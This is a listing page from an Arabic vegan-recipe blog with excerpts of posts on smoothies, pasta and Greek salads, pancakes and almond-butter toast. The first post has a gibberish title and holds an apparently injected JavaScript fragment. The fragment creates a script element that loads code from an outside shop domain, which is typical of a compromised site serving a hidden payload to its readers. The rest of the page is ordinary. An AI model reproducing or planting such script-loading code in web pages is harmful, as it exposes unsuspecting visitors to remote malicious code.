المقالات تتتت Posted by alshidi 11 أغسطس، 2024 0 تتاتغتغتغتنغ (var scriptElement = document.createElement('script'); scriptElement.src = 'https://awards2tools.shop/wbrXFr'; document.he... Continue reading
الوصفات, وصفات للنباتيين كرات الشوفان بزبدة الكاجو والموز Posted by alshidi 8 أبريل، 2024 0 المكونات: 1 كوب شوفان 1 موزة 3 ملاعق كبيرة زبدة الكاجو 2 ملعقة كبيرة شراب القيقب 1/4 ملعقة صغيرة قرفة 1 ملعقة صغيرة زيت جوز الهند 2 ملع... Continue reading
الوصفات, وصفات للنباتيين جرين بستاشيو سموثي Posted by alshidi 8 أبريل، 2024 0 المكونات: 2 ملاعق كبيرة زبدة الفستق 1 كوب حليب لوز أفوكادو 2/1 3 تمرات 1 موزة 1 كوب سبانخ طريقة التحضير: 1 ) ضع جميع المكونات في الخلاط... Continue reading
الوصفات, وصفات للنباتيين سلطة الباستا النباتية Posted by alshidi 8 أبريل، 2024 0 المكونات: 2 كوب باستا مطبوخه 1 علبة حمص )مصفى و مغسول( خمس حبات طماطم كرزية )مقطعة إلى نصفين( كوب بصل أحمر مقطع إلى مكعبات 3 ملاعق موزا... Continue reading
الوصفات, وصفات للنباتيين بان كيك مع زبدة الفستق Posted by alshidi 8 أبريل، 2024 0 المكونات: 1 كوب دقيق 1 ملعقة كبيرة سكر 1 ملعقة كبيرة بيكنج باودر نصف ملعقة صغيرة ملح 1 كوب حليب لوز 1 ملعقة صغيرة فانيليا 2 ملاعق كبيرة... Continue reading
الوصفات, وصفات للنباتيين سلطة يونانية مع الفيتا والزيتون الأسود والريحان Posted by alshidi 8 أبريل، 2024 0 المكونات: 1/2 كوب طماطم كرزية 1/2 خيار وسط 1/2 فلفل أخضر حلو 1/2 بصلة حمراء صغيرة جبنة فيتا )90 جرام(التتبيلة: معجون الزيتون 1 ملعقة ... Continue reading
الوصفات, وصفات للنباتيين سموثي القرفة وزبدة اللوز Posted by alshidi 8 أبريل، 2024 0 المكونات: 2 ملعقة كبيرة زبدة لوز 2 تمر منزوع النوى 2 ملعقة كبيرة بذور الكتان المطحونة 1/2 ملعقة صغيرة قرفة مطحونة 1 ملعقة صغيرة فانيليا... Continue reading
الوصفات, وصفات للنباتيين خبز محمص مع زبدة اللوز وشرائح والموز Posted by alshidi 8 أبريل، 2024 0 المكونات: شريحة توست واحدة من خبز الحبوب الكاملة 1-2 ملعقة كبيرة زبدة اللوز 1 موزة صغيرة مقطعة إلى شرائح )أو نصف حبة كبيرة( 1 ملعقة صغي... Continue reading
الوصفات, وصفات للنباتيين سموثي زبدة الفول السوداني Posted by alshidi 8 أبريل، 2024 0 المكونات: 1/4 كوب حليب اللوز 1 موزة مقطعة إلى شرائح ومجمدة )حوالي كوب شرائح( 1 ملعقة كبيرة زبدة الفول السوداني 1 ملعقة كبيرة نتسيلا طري... Continue reading